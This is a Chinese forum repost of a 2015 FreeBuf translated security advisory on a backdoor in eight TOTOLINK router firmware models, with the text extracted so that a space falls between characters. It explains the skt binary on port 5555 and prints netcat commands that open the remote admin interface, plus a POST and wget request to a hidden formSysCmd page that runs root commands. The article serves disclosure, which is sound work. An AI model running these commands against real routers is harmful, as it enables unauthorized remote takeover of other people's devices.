搜索

[9143] 2015-07-18_占据韩国80%市场的TOTOLINK路由器被曝存在后门，影响5万路由器

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-17
2015-07-18_占据韩国80%市场的TOTOLINK路由器被曝存在后门，影响5万路由器 占 据 韩 国 8 0 % 市 场 的 T O T O L I N K 路 由 器 被 曝 存 在 后 门 ， 影 响 5 万 路 由 器 F r e e B u f   2 0 1 5 - 0 7 - 1 8 微 信 号 微 信 号 f r e e b u f T O T O L I N K 路 由 器 在 韩 国 市 场 占 有 率 达 路 由 器 在 韩 国 市 场 占 有 率 达 8 2 . 3 % 。 由 深 圳 众 唐 科 技 公 司 负 责 产 品 的 研 发 、 制 造 。 。 由 深 圳 众 唐 科 技 公 司 负 责 产 品 的 研 发 、 制 造 。 漏 洞 简 述 漏 洞 简 述 通 过 分 析 最 近 一 次 的 固 件 以 及 在 真 实 路 由 器 上 进 行 测 试 后 ， 研 究 人 员 发 现 8 款 T O T O L i n k 产 品 中 存 在 后 门 。 注 ： 固 件 来 自 t o t o l i n k . n e t 以 及 t o t o l i n k . c n A 8 5 0 R - V 1   :   最 新 固 件   T O T O L I N K - A 8 5 0 R - V 1 . 0 . 1 - B 2 0 1 5 0 7 0 7 . 1 6 1 2 . w e b F 1 - V 2   :   最 新 固 件   F 1 - V 2 . 1 . 1 - B 2 0 1 5 0 7 0 8 . 1 6 4 6 . w e b F 2 - V 1   :   最 新 固 件   F 2 - V 2 . 1 . 0 - B 2 0 1 5 0 3 2 0 . 1 6 1 1 . w e b N 1 5 0 R T - V 2   :   最 新 固 件   T O T O L I N K - N 1 5 0 R T - V 2 . 1 . 1 - B 2 0 1 5 0 7 0 8 . 1 5 4 8 . w e b N 1 5 1 R T - V 2   :   最 新 固 件   T O T O L I N K - N 1 5 1 R T - V 2 . 1 . 1 - B 2 0 1 5 0 7 0 8 . 1 5 5 9 . w e b N 3 0 0 R H - V 2   :   最 新 固 件   T O T O L I N K - N 3 0 0 R H - V 2 . 0 . 1 - B 2 0 1 5 0 7 0 8 . 1 6 2 5 . w e b N 3 0 0 R H - V 3   :   最 新 固 件   T O T O L I N K - N 3 0 0 R H - V 3 . 0 . 0 - B 2 0 1 5 0 3 3 1 . 0 8 5 8 . w e b N 3 0 0 R T - V 2   :   最 新 固 件   T O T O L I N K - N 3 0 0 R T - V 2 . 1 . 1 - B 2 0 1 5 0 7 0 8 . 1 6 1 3 . w e b 通 过 向 W A N   I P 发 送 一 个 精 心 构 造 的 请 求 ， 攻 击 者 可 以 在 网 上 打 开 H T T P 远 程 管 理 界 面 。 接 着 攻 击 者 在 H T T P 原 创 管 理 界 面 中 通 过 h i d d e n / b o a f r m / f o r m S y s C m d 形 式 使 用 远 程 代 码 执 行 ， 进 而 绕 过 认 证 系 统 。 初 步 估 计 大 约 有 5 万 路 由 器 受 到 后 门 影 响 。 后 门 细 节 后 门 细 节 当 路 由 器 启 动 后 会 i n t . d 脚 本 会 执 行 / b i n / s k t 文 件 c a t   e t c / i n i t . d / r c S [ . . . ] #   s t a r t   w e b   s e r v e r b o a
s k t & s k t 是 一 个 M I P S 架 构 文 件 ， 其 参 数 ： s e r v e r :   . / s k t c l i e n t :   . / s k t   h o s t   c m d 使 用 模 拟 器 ， 该 二 进 制 文 件 可 以 兼 容   x 8 6 _ 6 4 机 器 ：   s u d o   c h r o o t   .   . / q e m u - m i p s - s t a t i c   . / b i n / s k t 单 独 使 用 s k t 不 带 任 何 参 数 ， 将 会 启 用 一 个 端 口 为 5 5 5 5 的 T C P 保 护 程 序 ， 担 当 回 显 服 务 器 的 角 色 。 使 用 带 参 数 的 s k t 将 通 过 5 5 5 5 端 口 向 目 标 I P 发 送 一 个 包 含 命 令 的 T C P 包 。 s k t 的 主 要 功 能 ： T c p C l i e n t 是 一 个 简 单 的 T C P 客 户 端 T c p S e r v e r 就 像 一 个 回 显 服 务 器 T c p C l i e n t : 将 发 送 一 个 包 含 h e l , x a s f ,   o k i , x a s f   或 者   b y e , x a s f 的 T C P 包 ， 这 取 决 于 使 用 的 参 数 （ 1 , 2 , 3 ） T c p S e r v e r : 用 来 监 听 t c p / 5 5 5 5 的 回 显 服 务 器 并 比 较 用 户 提 供 的 硬 编 码 字 符 串 ( " h e l , x a s f " ,   " o k i , x a s f " ) . s u b _ 4 0 0 B 5 0 函 数 ：
s u b _ 4 0 0 B 5 0 函 数 的 伪 代 码 ： i n t 3 2 _ t   s u b _ 4 0 0 B 5 0 ( i n t 3 2 _ t   a 1 ,   c h a r   * s t r ,   i n t 3 2 _ t   a 3 ,   i n t 3 2 _ t   a 4 ,   i n t 3 2 _ t   a 5 )   { i f   ( s t r c m p ( s t r ,   " h e l , x a s f " )   = =   0 )   { s y s t e m ( " i p t a b l e s   - I   I N P U T   - p   t c p   - - d p o r t   8 0   - i   e t h 1   - j   A C C E P T " ) ; }   e l s e   { i f   ( s t r c m p ( s t r ,   " o k i , x a s f " )   = =   0 )   { s y s t e m ( " i p t a b l e s   - D   I N P U T   - p   t c p   - - d p o r t   8 0   - i   e t h 1   - j   A C C E P T " ) ; } } [ . . . ] } 该 函 数 比 较 用 户 指 定 的 字 符 串 ， 2 个 硬 编 码 字 符 串 执 行 s y s t e m ( ) 。 分 析 运 行 在 分 析 运 行 在 T O T O L I N K 设 备 上 的 二 进 制 文 件 ， 显 示 服 务 器 通 过 静 默 执 行 设 备 上 的 二 进 制 文 件 ， 显 示 服 务 器 通 过 静 默 执 行 s y s t e m ( ) 响 应 命 令 响 应 命 令 1 . 通 过 将   " h e l , x a s f " 发 送 给 设 备 ， 设 备 将 执 行 ： i p t a b l e s   - I   I N P U T   - p   t c p   - - d p o r t   8 0   - i   e t h 1   - j   A C C E P T
这 将 在 e t h 1 接 口 （ 默 认 的 W A N 接 口 ） 8 0 端 口 打 开 H T T P 远 程 管 理 界 面 2 . 通 过 将 " o k i , x a s f " 发 送 给 设 备 ， 设 备 将 执 行 ： i p t a b l e s   - D   I N P U T   - p   t c p   - - d p o r t   8 0   - i   e t h 1   - j   A C C E P T 这 是 关 闭 H T T P 原 创 管 理 界 面 3 . 通 过 发 送 " b y e , x a s f " 给 设 备 ， 设 备 什 么 都 不 会 做 。 后 门 中 的 i p t a b l e s 命 令 都 是 " e t h 1 " 的 硬 编 码 ， 只 有 使 用 D H C P 以 及 静 态 I P 连 接 的 设 备 才 会 受 到 影 响 ， 因 为 W A N   I P 依 赖 于 e t h 1 设 备 ， 而 对 于 P P P o E 连 接 没 有 任 何 影 响 t o t o l i n k #   i f c o n f i g p p p 0   L i n k   e n c a p : P o i n t - t o - P o i n t   P r o t o c o l i n e t   a d d r : X . X . X . X   P - t - P : X . X . X . X   M a s k : 2 5 5 . 2 5 5 . 2 5 5 . 2 5 5 U P   P O I N T O P O I N T   R U N N I N G   N O A R P   M U L T I C A S T   M T U : 1 4 3 8   M e t r i c : 1 R X   p a c k e t s : 1 7 3 0 8 3 9 8   e r r o r s : 0   d r o p p e d : 0   o v e r r u n s : 0   f r a m e : 0 T X   p a c k e t s : 2 6 0 5 2 9 0   e r r o r s : 0   d r o p p e d : 0   o v e r r u n s : 0   c a r r i e r : 0 c o l l i s i o n s : 0   t x q u e u e l e n : 6 4 R X   b y t e s : 2 8 0 3 1 3 8 4 5 5   ( 2 . 6   G i B )   T X   b y t e s : 2 7 7 4 0 2 4 9 2   ( 2 6 4 . 5   M i B ) 攻 击 者 可 以 使 用 简 单 的 攻 击 者 可 以 使 用 简 单 的 n e t c a t 命 令 来 测 试 后 门 ： 命 令 来 测 试 后 门 ： 1 . 打 开 H T T P 远 程 管 理 界 面 ： e c h o   - n e   " h e l , x a s f "   |   n c   < i p >   5 5 5 5 2 . 关 闭 H T T P 远 程 管 理 界 面 ： e c h o   - n e   " o k i , x a s f "   |   n c   < i p >   5 5 5 5 3 . 检 测 含 漏 洞 路 由 器 e c h o   - n e   " G E T   /   H T T P / 1 . 1 "   |   n c   < i p >   5 5 5 5 i f   y o u   s e e   " G E T   /   H T T P / 1 . 1 "   i n   t h e   a n s w e r ,   y o u   l i k e l y   d e t e c t e d   a   v u l n e r a b l e   r o u t e r . 通 过 后 门 打 开 H T T P 远 程 管 理 界 面 ：
路 由 器 管 理 页 面 中 的 远 程 命 令 执 行 漏 洞 路 由 器 管 理 页 面 中 的 远 程 命 令 执 行 漏 洞 在 最 新 固 件 中 一 个 隐 藏 窗 口 允 许 攻 击 者 以 r o o t 权 限 执 行 命 令 ： P O S T   / b o a f r m / f o r m S y s C m d   H T T P / 1 . 1 s y s C m d = < c m d > & a p p l y = A p p l y & m s g = 攻 击 者 可 以 使 用 w g e t 在 远 程 设 备 中 执 行 命 令 ： w g e t   - - p o s t - d a t a = ' s y s C m d = < c m d > & a p p l y = A p p l y & m s g = '   h t t p : / / i p / / b o a f r m / f o r m S y s C m d 例 如 ， 向 管 理 界 面 发 送 该 H T T P 请 求 ， 可 以 远 程 重 启 设 备 ： P O S T   / b o a f r m / f o r m S y s C m d   H T T P / 1 . 1 s y s C m d = r e b o o t & a p p l y = A p p l y & m s g = * 参 考 来 源 g i t h u b ， 译 者 / 鸢 尾   转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ）
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理